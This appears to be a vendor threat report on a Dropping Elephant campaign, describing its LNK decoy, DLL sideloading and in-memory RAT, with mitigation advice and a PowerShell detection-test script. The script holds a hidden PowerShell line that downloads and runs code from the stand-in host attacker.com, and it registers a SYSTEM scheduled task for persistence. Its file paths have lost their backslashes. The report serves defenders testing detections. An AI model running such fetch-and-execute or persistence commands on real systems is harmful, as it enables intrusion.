Malware à la Mode: Inside Dropping Elephant’s Loader Chain

SOC Prime Team

Malware à la Mode: Inside Dropping Elephant’s Loader Chain

Detection stack

AIDR
Alert
ETL
Query

Threat Report
Attack Flow
Detections
Simulations

Summary

A sophisticated campaign attributed to Dropping Elephant uses China-themed decoy documents to deliver an updated, memory-resident remote access trojan. The intrusion relies on DLL sideloading through a legitimate Microsoft binary and the Donut shellcode loader to avoid disk-based detection. The final payload also uses advanced evasion methods, including control-flow flattening and runtime API reconstruction.

Investigation

Rapid7 researchers uncovered the threat during a proactive hunt that began with a malicious Windows shortcut masquerading as a PDF document. Their investigation followed the payload chain from initial staging on chinagreenenergy[.]org through DLL sideloading of APPWIZ.cpl to execution of an in-memory RAT. Code-level analysis with Diaphora confirmed a common lineage with earlier Dropping Elephant samples despite extensive reworking.

Mitigation

Defenders should prioritize behavioral detections, such as shortcut files launching PowerShell and suspicious payload staging in C:\Users\Public. Monitoring for scheduled tasks with unusual names and identifying DLL sideloading from unexpected directories is also important. In addition, endpoint defenses need memory-level visibility to catch tampering with AMSI, WLDP, and ETW.

Response

If this activity is detected, isolate affected systems immediately to disrupt further command-and-control traffic. Perform memory forensics to identify the injected RAT and inspect scheduled tasks for persistence. Network logs should also be reviewed for unauthorized HTTPS traffic to the known C2 domains and for any signs of file exfiltration.

graph TB %% Class Definitions Section classDef action fill:#99ccff classDef tool fill:#cccccc classDef malware fill:#ff9999 classDef process fill:#ccffcc classDef network fill:#ffff99 %% Node Definitions %% Initial Access and Execution action_user_exec[“Action – T1204.002 User Execution: Malicious File Victim executes malicious shortcut file File: GRES3001.lnk Disguise: PDF icon”] class action_user_exec action action_icon_smuggling[“Action – T1027.012 Obfuscated Files or Information: LNK Icon Smuggling Deceives user via icon manipulation Method: LNK file icon spoofing”] class action_icon_smuggling action %% Downloader Phase process_conhost[“Process – conhost.exe Host process for console windows Role: Initiates PowerShell downloader”] class process_conhost process action_binary_padding[“Action – T1027.001 Obfuscated Files or Information: Binary Padding Uses string-splitting obfuscation Target: PowerShell downloader script”] class action_binary_padding action tool_downloader[“Tool – PowerShell Downloader Retrieves decoy and malicious payloads Source: chinagreenenergy[.]org”] class tool_downloader tool %% Post-Download and Persistence action_masquerading[“Action – T1036.008 Masquerading: Masquerade File Type Renames files to look legitimate Directory: C:\Users\Public\”] class action_masquerading action action_persistence[“Action – T1546 Event Triggered Execution Ensures persistence via scheduled task Task Name: GoogleErrorReport Interval: Every minute”] class action_persistence action %% Execution Chain and Side-loading action_proxy_exec[“Action – T1218.002 System Binary Proxy Execution: Control Panel Uses legitimate binary to execute loader Binary: Fondue.exe”] class action_proxy_exec action tool_loader_cpl[“Tool – APPWIZ.cpl Malicious Control Panel loader Method: DLL Side-loading”] class tool_loader_cpl tool action_reflective_load[“Action – T1620 Reflective Code Loading Maps code directly into memory Loader: Donut shellcode loader”] class action_reflective_load action %% Post-Exploitation and C2 malware_rat[“Malware – RAT Remote Access Trojan Status: Resident in memory”] class malware_rat malware action_gather_info[“Action – T1592 Gather Victim Host Information Collects system metadata Data: Username, computer name, OS, IP”] class action_gather_info action action_c2[“Action – TA0011 Command and Control Maintains communication via HTTPS Domain: gcl-power[.]org”] class action_c2 action action_exfiltration[“Action – Screen Capture and Exfiltration T1113 Screen Capture Goal: Data theft”] class action_exfiltration action %% Connection Flow action_user_exec –>|leads_to| action_icon_smuggling action_icon_smuggling –>|triggers| process_conhost process_conhost –>|uses| action_binary_padding action_binary_padding –>|executes| tool_downloader tool_downloader –>|downloads_to| action_masquerading action_masquerading –>|sets_up| action_persistence action_persistence –>|triggers| action_proxy_exec action_proxy_exec –>|loads| tool_loader_cpl tool_loader_cpl –>|utilizes| action_reflective_load action_reflective_load –>|installs| malware_rat malware_rat –>|performs| action_gather_info malware_rat –>|establishes| action_c2 action_c2 –>|facilitates| action_exfiltration

Attack Flow

Attack Narrative & Commands: The adversary aims to establish persistence and execute a downloader. To bypass standard email filters, they use a shortcut file named GRES3001.lnk that appears as a PDF. When clicked, it calls conhost.exe to run a PowerShell script. Simultaneously, they establish persistence by creating a scheduled task named GoogleErrorReport which is designed to run Fondue.exe from a public directory, masquerading as a legitimate Google error reporter to evade casual inspection.

Regression Test Script:

# 1. Simulate the Shortcut/Conhost behavior
# We simulate the execution of conhost.exe with the specific string in the command line
Start-Process "conhost.exe" -ArgumentList "/c PowerShell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -Command IEX (New-Object Net.WebClient).DownloadString('http://attacker.com/payload.ps1')" 
# Note: To strictly match the rule's 'CommandLine contains GRES3001.lnk', we simulate the process call as if it came from that file.
# Since we can't easily spoof the parent process name in a simple script, we simulate the command line string expected.
Write-Host "[!] Simulating GRES3001.lnk trigger..."
$SimulatedCmd = "conhost.exe /c GRES3001.lnk PowerShell.exe -Command Write-Host 'Malware Loaded'"
# In a real environment, the 'CommandLine' field in Sysmon would contain the target string.

# 2. Simulate the Scheduled Task and Fondue.exe side-loading
Write-Host "[!] Simulating GoogleErrorReport scheduled task..."
New-Item -Path "C:UsersPublicFondue.exe" -ItemType File -Force
Set-Content -Path "C:UsersPublicFondue.exe" -Value "Dummy Payload"

$TaskName = "GoogleErrorReport"
$Action = New-ScheduledTaskAction -Execute "C:UsersPublicFondue.exe"
Register-ScheduledTask -Action $Action -TaskName $TaskName -Description "Simulated Dropping Elephant Task" -User "SYSTEM" -Force

Write-Host "[+] Simulation Complete. Check SIEM for alerts."

Cleanup Commands:

# Remove the dummy malware binary
Remove-Item -Path "C:UsersPublicFondue.exe" -Force

# Remove the malicious scheduled task
Unregister-ScheduledTask -TaskName "GoogleErrorReport" -Confirm:$false

Write-Host "[+] Cleanup Complete."

Join SOC Prime's Detection as Code platform to improve visibility into threats most relevant to your business. To help you get started and drive immediate value, book a meeting now with SOC Prime experts.

Join for Free